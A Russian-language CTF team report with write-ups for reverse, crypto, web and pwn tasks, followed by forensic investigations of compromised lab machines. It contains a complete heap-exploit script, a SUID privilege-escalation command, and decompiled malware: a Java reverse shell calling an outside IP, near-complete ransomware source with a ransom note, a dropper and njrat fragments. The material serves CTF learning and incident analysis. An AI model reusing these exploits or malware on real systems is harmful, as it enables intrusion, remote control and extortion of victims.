Отчет Ромашек - Борозенец, Гришин, Кудрявцев, Шевченко

CTF

Reverse

Reverse 10 (writeup)

Заметим, что строка "this program cannot be run in dos mode" внутри банаря написана неправильно. Кода, проверяющего флаг, внутри бинаря не обнаруживаем. Проверим DOS STUB и запустим файл в dos box. Видим, что он начинает выводить флаг, но со временем вывод символов замедляется. Зайдем в 010 editor (hexeditor) и отрезаем все после dos stub. открываем в гидре и видим в коде два прерывания, гуглим дос-овские прерывания (одно выводит символ, другое делает sleep). в 010 editor патчим опкод прерывания "sleep" заменяем на 0x90 (nop). Запускаем и получаем флаг.

Reverse 20 (writeup)

Открываем в ida free, видим функцию, проверяющую флаг. Внутри нее так же много функцию, смотрим в них. В одной из них видим строчки с ошибками, гуглим и понимаем, что это код из библиотеки unicorn(предназначена для эмуляции различных архитектур). Смотрим на примеры из документации unicorn и переименовываем функции в псевдокоде исходя из аргументов. Поймем, что программа исполняет шеллкод для архитектуры mips32. копируем в шеллкод и вставляем его в какой-нибудь online disassembler (например https://disasm.pro/ (https://disasm.pro/)). Получим

```
and $t1, $t1, $a0

lui $s0, 0x2c24
ori $s0, $s0, 0x2c28
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
xor $t1, $t1, $t2

lui $s0, 0x7b4c
ori $s0, $s0, 0x1c77
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
xor $t1, $t1, $t3

lui $s0, 0x4e78
ori $s0, $s0, 0x7513
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
and $t1, $t1, $t4

lui $s0, 0x4e50
ori $s0, $s0, 0x6011
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
xor $t1, $t1, $t5

lui $s0, 0x3d0f
ori $s0, $s0, 0x5142
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
xor $t1, $t1, $t6

lui $s0, 0x6242
ori $s0, $s0, 0x6226
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0
and $t1, $t1, $t7

lui $s0, 0x2040
ori $s0, $s0, 0x6024
subu $a0, $t1, $s0
sltu $v0, $zero, $a0
xori $v0, $v0, 1
add $v1, $v1, $v0

xori $v0, $v0, 1
add $v1, $v1, $v0

move $v0, $v1
addiu $s0, $zero, 7
subu $v0, $v0, $s0
sltu $v0, $zero, $v0
xori $v1, $v0, 1
```

Несложно догадаться, что тут каждые 4 байта флага сравниваются отдельно. Попытаемся по коду подобрать алгоритм дешифровки:

```
from Crypto.Util.number import *
lb = long_to_bytes
a = [0x2c242c28,0x7b4c1c77,0x4e787513,0x4e506011,0x3d0f5142,0x62426226,0x20406024]
In [42]: for i in range(1,len(a)):
    ...:     print(lb(a[i]^a[i-1]))
    ...:
b'Wh0_'
b'54id'
b'(\x15\x02'
b's_1S'
b'_M3d'
b'B\x02\x02\x02'
```

Действительно, вырисовывается что-то похожее: `nto{Wh0_54id????s_1S_M3d???}`. Оставшуюся часть подберем при помощи гугла по запросу "english word 6 letter med..." и тоже самое для первой скрытой части. Подгоним флаг под организаторов при помощи X4к3рск0r0 стиля написания: `nto{Wh0_54id_Th1s_1S_M3d1um}`

Crypto

Crypto 10 (writeup)

Развернем афинные преобразования в другую сторону и получим флаг:

```
^[[A^[from sage.all import *
....:
....: class DihedralCrypto:
....:     def __init__(self, order: int) -> None:
....:         self.__G = DihedralGroup(order)
....:         self.__order = order
....:         self.__gen = self.__G.gens()[0]
....:         self.__list = self.__G.list()
....:         self.__padder = 31337
....:
....:     def __pow(self, element, exponent: int):
....:         try:
....:             element = self.__G(element)
....:         except:
....:             raise Exception("Not Dihedral rotation element")
....:         answer = self.__G(())
....:         aggregator = element
....:         for bit in bin(int(exponent))[2:][::-1]:
....:             if bit == '1':
....:                 answer *= aggregator
....:             aggregator *= aggregator
....:         return answer
....:
....:     def __byte_to_dihedral(self, byte: int):
....:         return self.__pow(self.__gen, byte * self.__padder)
....:
....:     def __map(self, element):
....:         return self.__list.index(element)
....:
....:     def __unmap(self, index):
....:         return self.__list[index]
....:
....:     def f(self,byte):
....:         return self.__map(self.__byte_to_dihedral(byte))
....:     def hash(self, msg):
....:         answer = []
....:         for byte in msg:
....:             answer.append(self.__map(self.__byte_to_dihedral(byte)))
....:         return answer
dihedral = DihedralCrypto(1337)
dct = {}
^[[A^[for i in range(32,127):
....:     dct[dihedral.f(i)] = i

c = [277, 92, 775, 480, 160, 92, 31, 586, 277, 801, 355, 489, 801, 31, 62, 926, 725, 489, 160, 92, 31, 586, 277, 801, 355, 489, 1281,

^[[A^[for i in c:
....:     print(chr(dct[i]),end='')
```

Crypto 20 (writeup)

Рассмотрим функцию guess_bit, выдающую i-тый бит флага:

```
n = 10549579841913890369516455959587977010747794292814578815738767731695867300441707488434086778058903883122081213159304018475651877
@app.route('/guess_bit', methods=['GET'])
def guess_bit():
    args = request.args
    if 'bit' not in args.keys():
        return {"error": "Bit needed to be guessed"}
    index = abs(int(args['bit']))
    if index >= len(flag):
        return {"error": "Index overflow"}
    bit = flag[index]
    if bit == '1':
        return {"guess": pow(7, getPrime(300), n)}
    else:
        return {"guess": randint(n//2, n)}
```

Если `bit==1` , то "guess" содержит любое натуральное число меньшее n. Если же бит занулен, то "guess" лежит в промежутке `[n//2,n]`. Давайте ~10 раз запросим "guess", если хоть раз вернется число в диапазоне `[n//2,n]`, то бит однозначно ноль,иначе (с высокой вероятностью) он 1. Таким образом, мы можем с высокой вероятностью определить значение бита. Так дампим все биты и получаем флаг

Crypto 30 (writeup)

получим большое кол-во простых чисел (ps) и шифрованных флагов (fs). Например,450. Используем вариацию атаки полига хеллмана и КТО:

```
# pohlig hellman attack
vals = []
mods = []
for i in range(len(ps)):
    for d_ in range(2,100000):
        if isPrime(d_) and (ps[i]-1)%d_==0 and d_ not in mods:
            d = d_
            a = pow(2,((ps[i] - 1)//d),ps[i])
            b = pow(fs[i],((ps[i] - 1)//d),ps[i])
            for k in range(1,d):
                if pow(a, k,ps[i])==b:
                    vals.append(k)
                    mods.append(d)
                    break

res = CRT_list(vals, mods) # nto{d0nt_k33p_secrets}
```

Web

Web 10 (writeup)

Конкретные payload/ы не были сохранены, поскольку изначально было сказано, что task-based задания расписывать нет нужды. Однако я могу пояснить логику решения.

1. Разведка При подключении на сайт видим одностраничник. Ничего полезного нет (была проведен базовый поиск полезных файлов), кроме одного скрипта (script.js), который содержит логику приложения.

2. Анализ работы приложения На самом деле приложение само по себе тривиально: нас встречает большая форма данных, которая по умолчанию передается как json (что важно). При анализе способа передачи данных (а передавались они через веб-сокеты), обнаружилось, что как запрос к серверу, так и его ответ - шифруются и дешифруются функциями encrypt и decrypt соответственно. Они и были использованы мной и моим сокомандником, чтобы отправлять сервису новосозданные запросы.

3. Эксплуатация Выше было сказано, что данные по умолчанию отправлялись в виде json. За это отвечало отдельное поле в запросе. Так как нашей задачей было достать флаг из файла, я предположил, что тип парсинга данных можно поменять на xml (чтобы провести атаку xxe). И это сработало: был построен пейлоад в виде xml, который содержал в себе все обязательные поля; он успешно был обработан сервисом. Так, дело оставалось за малым - эксплуатируем xxe ([ ]> и &xxe в обязательном поле) и сдаем решение.

Web 20 (writeup)

Задание было посвящено теме http smuggling. Но решение его оказалось более простым, из-за багов в сервисе.

Обратимся к коду:

```
def make_request(username):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("service2", 3001))
    sock.settimeout(1)

    payload = f"""GET / HTTP/1.1\r\nHost: 0.0.0.0:3001\r\nCookie: username={username};flag={FLAG}\r\n\r\n"""
    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body
```

Заметно, что payload можно составить таким образом, чтобы было послано 2 запроса (2 - на наш сервер с кукой флага). Однако, если сделать пользователя, username которого содержит последовательность "\r\n", то при входе на путь / мы увидим сообщение-ошибку об "\r\n", в которой в чистом виде лежит флаг.

PWN

Pwn 30 (writeup)

```
from pwn import *
from sys import argv
#p = process(['./ld-2.31.so', '--library-path', '.' , './diary'])
p = remote('10.10.14.10', 2228)
elf = ELF('./libc.so.6')
#gdb.attach(p)
def cmd(n):
        p.recvuntil('choice: ')
        p.sendline(str(n))

def add_mark(mark, size, comment):
        cmd(1)
        for i in [mark, size, comment]:
                p.recvuntil(': ')
                if (type(i) is int):
                        i = str(i)
                p.sendline(i)

def view_mark(index, endSymbol='\n'):
        cmd(3)
        p.recvuntil('index: ')
        p.sendline(str(index))

        return p.recvuntil(endSymbol)

def delete_mark(index):
        cmd(4)
        p.recvuntil('index: ')
        p.sendline(str(index))

def edit_mark(index, mark, size, comment):
        cmd(2)
        for i in [index, mark, size, comment]:
                p.recvuntil(': ')
                if (type(i) is int):
                        i = str(i)
                p.sendline(i)


for i in range(9):
        add_mark(1, 256, 'a'*31)
for i in range(9):
        delete_mark(i) # заполняем tcache, последний чанк попадёт в unsorted bin

chunk_addr_lodword = view_mark(1, 'Add').split(b' ')[1].split(b'Comment')[0]
chunk_addr_lodword = int(chunk_addr_lodword.decode()) # сливаем последние четыре байта адреса чанка


for i in range(9):
        add_mark(1, 256, 'a'*31) # опустошаем tcache



leak = u64(view_mark(8,b'\x7f')[-6:]+b'\x00'*2) # сливаем адрес libc
libc = leak - 0x1eabe0
free_hook = elf.symbols['__free_hook']+libc
system = elf.symbols['system']+libc
print ('Libc:', hex(libc))
print ('Free hook:', hex(free_hook))

#for i in range(10):
#       add_mark(50, 40, 'e'*24)
#for i in range(7):
#       delete_mark(18+i)
```

```
#delete_mark(27)
#delete_mark(25)
#delete_mark(27)

for i in range(7):
        edit_mark(9+i, 50, 40, 'e'*24) # выделяем чанки, чтобы потом опустошив их заполнить tcache
for i in range(3):
        add_mark(50, 40, 'c'*24)
for i in range(7):
        delete_mark(9+i) # заполняем tcache

delete_mark(19) # этот чанк попадёт в fastbin
delete_mark(18) # этот чанк опустошаем, чтобы libc не выдала ошибку
delete_mark(19) # теперь один и тот же чанк опустошён дважды, значит мы можем писать по произвольному адресу

# но при этом дважды опустошается ещё и чанк, который хранит оценку и
# комментарий к ней, поэтому ранее мы и слили последние 4 байта адреса чанка
# , чтобы у нас был валидный адрес

for i in range(7):
        add_mark(50, 40, 'c'*24)

''' ^^^ опустошаем tcache, после чего libc переместит чанки из
fastbin в tcache из-за чего мы сможем избежать неудобных проверок'''

add_mark(chunk_addr_lodword, 40, p64(free_hook)) # подделываем указатель на следующий чанк в бине на __free_hook
add_mark(chunk_addr_lodword, 40, b'cat *') # __free_hook на вход получает адрес чанка, а он указывает на эту строку. /bin/bash почему
add_mark(chunk_addr_lodword, 40, b'ls;ls;ls;ls')
add_mark(chunk_addr_lodword, 40, p64(system)) # переписываем __free_hook на system

#add_mark(chunk_addr_lodword, 40, p64(system))

delete_mark(18)


p.interactive()
```

Задание 1

```
Выдан образ машины linux(vmdk)
+ Import vmdk to virtualbox
+ Reset Sergey/Root password via grub mode
+ Login with sergey(root)
```

Как злоумышленник попал на машину

(/home/sergey/minecraft.jar)

В истории к заданию сказано, что Валера запустил майнкрафт на компьютере. Найдем одноименный файл и разреверсим его. При помощи jadx декомпилируем класс `Malware`

```
package Malware;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

/* loaded from: minecraft.jar:Malware/ReverseShell.class */
public class ReverseShell {
    public static void main(String[] args) {
        try {
            Process p = new ProcessBuilder("/usr/bin/bash").redirectErrorStream(true).start();
            Socket s = new Socket("192.168.126.129", 4444);
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0) {
                    so.write(pi.read());
                }
                while (pe.available() > 0) {
                    so.write(pe.read());
                }
                while (si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                try {
                    Thread.sleep(50L);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                try {
                    p.exitValue();
                    break;
                } catch (Exception e2) {
                }
            }
            p.destroy();
            s.close();
        } catch (IOException e3) {
            e3.printStackTrace();
        }
    }
}
```

Видно, что впо создает реверс шелл(который обращается к `192.168.126.129:4444`).

Как повысил свои права?

От рута проанализируем /root/.bash_history file. Видимо подозрительный файл `/usr/bin/find`

```
ls -lah /usr/bin/find
-> -rwsr-sr-x 1 root root 276K Mar 23 2022 /usr/bin/find
```

Видим, что файл имеет `suid` флаг, что позволяет поднять привелегии. Файл редактировался 23 марта 2022 года, что позволяет сделать вывод о том, что файл не бекдор от злоумышленника. Повышение привелегий до рута:

```
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
## root access
```

Как злоумышленник узнал пароль от passwords.kdbx ?

Продолжая анализировать history, видим, что на компьютере использовалась программа logkeys.

(выдержка)

```
cat cat Makefile
cat build//config.log
ls build
ls -la u
sh linpeas.sh
ping 192.168.126.129
reboot
ifconfig
base64 minecraft.jar
exit
./logkeys -m en_US_ubuntu_1204.map -s
./logkeys --us-keymap en_US_ubuntu_1204.map -s
./logkeys
./logkeys -s -u en_US_ubuntu_1204.map
cd src/
./logkeys -s
cd Downloads/build/src/
lsusb
ls /home/
rm -rf /home/ubuntu/
userdel -r ubuntu
keepass2
sudo apt-get install keepass2
./logkeys -k
```

При помощи поиска в интернете, понимаем, что это кей логгер, позволяющий злоумышленнику узнать пароль от keepass.

В папке /var/log видим одноименный файл `/var/log/logkeys.log` - log file В нем указан пароль - `1_D0N7_N0W_WHY_N07_M4Y83_345Y`

Куда logkeys пишет логи ?

На данной машине линукс был найден репозиторий с исходным кодом logkeys. Анализируя историю(`/root/.bash_history`) запуска команд на машине, видим, что logkeys запускался без аргументов. Это допустимо, поскольку путь log файла является опциональным аргументом (args.logfile = optarg; /src/args.cc). Если аргумент не был задан, то используется DEFAULT_LOG_FILE (/src/logkeys.cc) равный “/var/log/logkeys.log”.

Действительно, после проверки пути /var/log, был найден данный файл с информацией о нажатых клавишах, что подтверждает тезис.

Пароль от чего лежит в passwords.kdbx?

Проанализировав логи кейлогера, понимаем, что были захвачен и пароль от хранилища паролей (keepass) `2023-02-10 07:56:02-0500 > 1_D0N7_N0<#+32>W_WHY_N07_M4yY83_345Y` почитав документацию, понимаем, что шифт был нажат 32 раза -> итоговый пароль `1_D0N7_N0W_WHY_N07_M4Y83_345Y` логинимся, забираем логин пароль от рдп виндовс машины итого: `5 windows_rdp Administrator SecretP@ss0rdMayby_0rNot`

Задание 2

```
+ Получаем машину (vmdk)
+ Логинимся Administrator:SecretP@ss0rdMayby_0rNot
```

Какой пароль от Ransomware?

пароль: 084b988baa7c8d98cda90c5fe603c560 На предыдущей машине был найден интересный исполняемый файл(VTropia.exe), который детектился virustotal как впо.

Заметим , что это бинарь на дотнете.

```
$ file VTropia.exe
Vropia.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
```

используем для декомпиляции https://github.com/icsharpcode/AvaloniaILSpy (https://github.com/icsharpcode/AvaloniaILSpy)

```
internal class Config
{
	public static string IP = "NiA3XjonOFogOlYaPBAhXT8eJhwxHVoaNlpZBTQFI10VXi8/DS01NDEQOhU=";

	public static string User = "AwQ3JBU5IxY2GyZQ";

	public static string Message = "AlojBRAnJxolCyEFABsYCjwnOlwaMykDNisrRjVbMxcQKC8cDgQ5FywPBwUBJDkLChk5HDYBKx81BSsXPDc3XDYUPgUm

	public static string Key = "V2hlbllvdWxsQ29tZUhvbWU=";

	public static string AES { get; set; }

	public static void Decrypt(string key)
	{
		Key = Utils.DecodeBase64(Key) + Utils.DecodeBase64(key);
		IP = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(IP), Key));
		User = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(User), Key));
		Message = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(Message), Key));
	}
}
internal class Crypt
{
	public static void Process(string password)
	{
		password = Utils.CalculateKey();
		string[] logicalDrives = Directory.GetLogicalDrives();
		for (int i = 0; i < logicalDrives.Length; i++)
		{
			EncryptDirectory(logicalDrives[i], password);
		}
	}

	public static void EncryptDirectory(string location, string password)
	{
		try
		{
			string[] source = new string[205]
			{
				".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", "jpeg", ".png",
				".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd",
				".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv", ".csv", ".d3dbsp",
				".zip", ".sie", ".sum", ".ibank", ".t13", ".t12", ".qdf", ".gdb", ".tax", ".pkpass",
				".bc6", ".bc7", ".bkp", ".qic", ".bkf", ".sidn", ".sidd", ".mddata", ".itl", ".itdb",
				".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup", ".syncdb", ".gho", ".cas", ".svg", ".map",
				".wmo", ".itm", ".sb", ".fos", ".mov", ".vdf", ".ztmp", ".sis", ".sid", ".ncf",
				".menu", ".layout", ".dmp", ".blob", ".esm", ".vcf", ".vtf", ".dazip", ".fpk", ".mlx",
				".kf", ".iwd", ".vpk", ".tor", ".psk", ".rim", ".w3x", ".fsh", ".ntl", ".arch00",
				".lvl", ".snx", ".cfr", ".ff", ".vpp_pc", ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge",
				".kdb", ".db0", ".dba", ".rofl", ".hkx", ".bar", ".upk", ".das", ".iwi", ".litemod",
				".asset", ".forge", ".ltx", ".bsa", ".apk", ".re4", ".sav", ".lbf", ".slm", ".bik",
				".epk", ".rgss3a", ".pak", ".big", "wallet", ".wotreplay", ".xxx", ".desc", ".py", ".m3u",
				".flv", ".js", ".css", ".rb", ".p7c", ".pk7", ".p7b", ".p12", ".pfx", ".pem",
				".crt", ".cer", ".der", ".x3f", ".srw", ".pef", ".ptx", ".r3d", ".rw2", ".rwl",
				".raw", ".raf", ".orf", ".nrw", ".mrwref", ".mef", ".erf", ".kdc", ".dcr", ".cr2",
				".crw", ".bay", ".sr2", ".srf", ".arw", ".3fr", ".dng", ".jpe", ".jpg", ".cdr",
				".indd", ".ai", ".eps", ".pdf", ".pdd", ".dbf", ".mdf", ".wb2", ".rtf", ".wpd",
				".dxg", ".xf", ".dwg", ".pst", ".accdb", ".mdb", ".pptm", ".pptx", ".ppt", ".xlk",
				".xlsb", ".xlsm", ".xlsx", ".xls", ".wps", ".docm", ".docx", ".doc", ".odb", ".odc",
				".odm", ".odp", ".ods", ".odt", ".ico"
			};
			string[] files = Directory.GetFiles(location);
			string[] directories = Directory.GetDirectories(location);
			for (int i = 0; i < files.Length; i++)
			{
```

```
                                string extension = Path.GetExtension(files[i]);
                                if (source.Contains(extension))
                                {
                                        EncryptFile(files[i], password);
                                }
                        }
                        for (int j = 0; j < directories.Length; j++)
                        {
                                if (!directories[j].Contains("Windows") && !directories[j].Contains("Program Files") && !directories
                                {
                                        EncryptDirectory(directories[j], password);
                                }
                        }
                }
                catch
                {
                }
        }

        public static void EncryptFile(string file, string password)
        {
                byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
                byte[] bytes = Encoding.UTF8.GetBytes(password);
                bytes = SHA256.Create().ComputeHash(bytes);
                byte[] bytes2 = AES_Encrypt(bytesToBeEncrypted, bytes);
                try
                {
                        File.WriteAllBytes(file, bytes2);
                        string text = ".p4blm";
                        File.Move(file, file + text);
                }
                catch (UnauthorizedAccessException)
                {
                }
        }

        public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
        {
                byte[] array = null;
                byte[] salt = new byte[8] { 1, 8, 3, 6, 2, 4, 9, 7 };
                using MemoryStream memoryStream = new MemoryStream();
                using RijndaelManaged rijndaelManaged = new RijndaelManaged();
                rijndaelManaged.KeySize = 256;
                rijndaelManaged.BlockSize = 128;
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
                rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                rijndaelManaged.Mode = CipherMode.CBC;
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode
                {
                        cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cryptoStream.Close();
                }
                return memoryStream.ToArray();
        }
}

internal class Program
{
        private static void Main(string[] args)
        {
                Execute();
        }

        private static void Execute()
        {
```

```
                if (Utils.CheckUser())
                {
                        Environment.Exit(0);
                }
                Thread.Sleep(5000);
                Config.Decrypt("SWxsU3RvcFRoaXM=");
                Crypt.Process(Config.AES);
                Utils.LeaveMessage();
                Utils.Annihilate();
        }
}

internal class Utils
{
        public static string CalculateKey()
        {
                try
                {
                        return MD5("HelloWin" + Config.User);
                }
                catch
                {
                        return "d7d129356554062f0311ee22d59ea9eb";
                }
        }

        public static void LeaveMessage()
        {
                File.WriteAllText("C:\\Users\\" + Environment.UserName + "\\Desktop\\info.txt", Config.Message);
        }

        public static bool CheckUser()
        {
                try
                {
                        if (Environment.UserName != "Administrator")
                        {
                                return true;
                        }
                        return false;
                }
                catch
                {
                        return false;
                }
        }

        public static void Annihilate()
        {
                Process.Start(new ProcessStartInfo
                {
                        Arguments = "/C timeout 2 && Del /Q /F " + Application.get_ExecutablePath(),
                        WindowStyle = ProcessWindowStyle.Hidden,
                        CreateNoWindow = true,
                        FileName = "cmd.exe"
                });
        }

        public static string DecodeBase64(string data)
        {
                try
                {
                        if (string.IsNullOrEmpty(data))
                        {
                                return null;
                        }
```

```
                        return Encoding.UTF8.GetString(Convert.FromBase64String(data));
                }
                catch
                {
                        return null;
                }
        }

        public static string Xor(string data, string key)
        {
                try
                {
                        if (string.IsNullOrEmpty(data))
                        {
                                return null;
                        }
                        StringBuilder stringBuilder = new StringBuilder();
                        for (int i = 0; i < data.Length; i++)
                        {
                                int utf = data[i] ^ key[i % key.Length];
                                stringBuilder.AppendFormat("{0}", char.ConvertFromUtf32(utf));
                        }
                        return stringBuilder.ToString();
                }
                catch
                {
                        return null;
                }
        }

        public static string MD5(string data)
        {
                try
                {
                        byte[] bytes = Encoding.UTF8.GetBytes(data);
                        bytes = ((HashAlgorithm)CryptoConfig.CreateFromName("MD5")).ComputeHash(bytes);
                        return BitConverter.ToString(bytes).Replace("-", string.Empty).ToLower();
                }
                catch
                {
                        return null;
                }
        }
}
```

Давайте исполним следующую функцию `Config.Decrypt("SWxsU3RvcFRoaXM=");`:

```
public static void Decrypt(string key)
{
    Key = Utils.DecodeBase64(Key) + Utils.DecodeBase64(key);
    IP = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(IP), Key));
    User = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(User), Key));
    Message = Utils.DecodeBase64(Utils.Xor(Utils.DecodeBase64(Message), Key));
}
```

Получим

```
Key = WhenYoullComeHomeIllStopThis
IP = https://pastebin.com/raw/VRjvXMu1
User = NTI-User
Message  =
Sad to say, but all your files have been encrypted!

But don't cry, there's the way to recover them - pay 500$ in BTC to this wallet:
3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy

You have 24 hours. After them your files will stay unaccessible for next eternity.
```

Рассмотрим работу данного вредоноса. Вот его алгоритм:

1. `Process` запускает `EncryptDirectory`, запускающий `EncryptFile` с паролем из `CalculateKey`. ("084b988baa7c8d98cda90c5fe603c560")
2. EncryptFile - берет sha256 от пароля и вызывает AES_Encrypt(data_to_be_encrypted, key) т.е. шифрует файл при помощи AES_Encrypt
3. AES_Encrypt - какой-то кастомный aes cbc. вытащим ключ и iv:

```
using System;
using System.Security.Cryptography;
using System.Security;
using System.Text;
class HelloWorld {
  static void Main() {
        byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("084b988baa7c8d98cda90c5fe603c560"));
        byte[] array = null;
                byte[] salt = new byte[8] { 1, 8, 3, 6, 2, 4, 9, 7 };
                RijndaelManaged rijndaelManaged = new RijndaelManaged();
                rijndaelManaged.KeySize = 256;
                rijndaelManaged.BlockSize = 128;
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
                rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                Console.WriteLine(Convert.ToBase64String(rijndaelManaged.Key));// T+4g/6PSPe3bkJsNSbW7pdpcBzgzXoYVyG3ks4sBZtQ=
                Console.WriteLine(Convert.ToBase64String(rijndaelManaged.IV)); //sx1emNG67pfLpNCg0B4bUw==
  }
}
```

Напишем декриптор который потребуется в дальнейших шагах:

```
from base64 import b64decode as b
from Crypto.Cipher import AES
key = b('T+4g/6PSPe3bkJsNSbW7pdpcBzgzXoYVyG3ks4sBZtQ=')
iv = b('sx1emNG67pfLpNCg0B4bUw==')
files = ['./Important.txt.txt.p4blm',]
for fname in files:
    aes = AES.new(key,iv=iv,mode=AES.MODE_CBC)
    c = open(fname,'rb').read()
    plain = aes.decrypt(c)
    open(fname.replace('.p4blm',''),'wb').write(plain)
    print(plain)
```

Запустим на `Important.txt.txt.p4blm` и получим `CSh4RpR@n50mWar3z4ReSti11Us3fUl`.

Какие процессы в системе являются вредоносными?

doom.exe(сам он не вредонос, только дроппер) и порождаемые им процессы C:/Users/Administrator/AppData/Dropped/1.exe и тп. (выше в коде показано)

Вредоносные процессы на машине

```
C:\ProgramData\Windows Explorer.exe
C:\Users\Administrator\AppData\Local\Temp\Runtime Broker.exe
C:\Users\Administrator\AppData\Roaming\Host Process for Windows Tasks.exe
C:\Users\Administrator\Security Health Service.exe
C:\Windows\Antimalware Service Executable.exe
```

Доказательства: При реверс-инженеринге впо обнаруживаем:

```
static Njrat() {
…
…
…
Njrat.EXE = “Antimalware Service Executable.exe; // njrat переименовывается в дальнейшем в этот файл
…
…

if (File.Exists(Interaction.Environ(Njrat.DR) + “\” + Njrat.EXE)) {

File.Delete(Interaction.Environ(Njrat.DR) + “\” + Njrat.EXE);
}
File.Copy(Njrat.LO.FullName, Interaction.Environ(Njrat.DR) + “\” + Njrat.EXE, true);
Process.Start(Interactoin.Environ(Njrat.DR) + “\” + Njrat.EXE);
…
```

Мы видим, что впо проверяет наличие файла, затем удаляет его, после копирует себя на место удаленного файла и запускается. pid:5168 pid:5176

Как произошла доставка вредоносного ПО?

найдем на рабочем столе пользователья Administrator странный файл `Doom.exe`. Открываем в Ilspy и понимаем, что эта программа - дроппер:

```
internal class Program
{
	private static void Main(string[] args)
	{
		if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Dropped"))
		{
			Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Dropped"
		}
		string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Dropped\\";
		File.WriteAllBytes(text + "1.exe", DoomResources._1);
		File.WriteAllBytes(text + "2.exe", DoomResources._2);
		File.WriteAllBytes(text + "3.exe", DoomResources._3);
		File.WriteAllBytes(text + "4.exe", DoomResources._4);
		File.WriteAllBytes(text + "5.exe", DoomResources._5);
		Process.Start(text + "1.exe");
		Process.Start(text + "2.exe");
		Process.Start(text + "3.exe");
		Process.Start(text + "4.exe");
		Process.Start(text + "5.exe");
		Thread.Sleep(60000);
		File.Delete(text + "1.exe");
		File.Delete(text + "2.exe");
		File.Delete(text + "3.exe");
		File.Delete(text + "4.exe");
		File.Delete(text + "5.exe");
	}
}
```

т.е. он закидывает файлы в Appdata/Dropped , а потом их удаляет. Заходим в ресурсы `doom.exe`и экспортируем экзешники, которые он создает. Понимаем, что это njrat по строкам, хешам, репорту с вирустотала.

Итого, доставка впо: запуск doom.exe => дроп их на диск и запуск

Какие средства обфускации были использованы?

закинем один из дропнутых екзешников в декомпиль и немного побродив по _1.exe найдем следующее:

```
internal class MK4PqaDfHZTyUZ6JDo
{
    private static bool nf6dcw9mvT;

    internal static void NetReactor()
    {
        if (!nf6dcw9mvT)
        {
            nf6dcw9mvT = true;
            if (Math.Abs((DateTime.Now - new DateTime(2023, 3, 15)).Days) >= 14)
            {
                throw new Exception("This assembly is protected by an unregistered version of Eziriz's \".NET Reactor\"! This assembl
            }
        }
    }
}
```

строчка “This assembly is protected by an unregistered version of Eziriz’s ".NET Reactor"! This assembly won’t further work” явно указывает на обфускацию .NET Reactor.

Как злоумышленник нашел учетные данные от Web-сервиса?

Изучив все зашифрованные файлы на машине с расширением “p4blm”, находим в папке AppData/Local/Google/Chrome/User data/Default пошифрованный “Login Data”. Данный файл обычно содержит информацию о сохраненной связке “пароль:логин” для сайтов. Восстановив файл и подгрузив его в chrome, посмотрим сохраненные пароли.

В нем содержится строка “admin:P@ssw0rd” для сайта “10.10.137.110”, который ранее был замечен в истории браузера. То есть злоумышленник нашел пароль от веб-сервиса в ‘сохраненных паролях’ chrome, а потом использовал криптор

Задание 3

```
(Нужно найти уязвимости и исправить их)
Выдано: sss administrator@10.10.14.110
password: by4%ov88&YN5
```

1. service/emulator/src

```
def map_action(cl, action):
    for act in action.split('.'):
        cl = getattr(cl, act)
    return cl
```

patch: заведем whitelist для действий, которые есть в системе, чтобы не допустить python jail при помощи getattr:

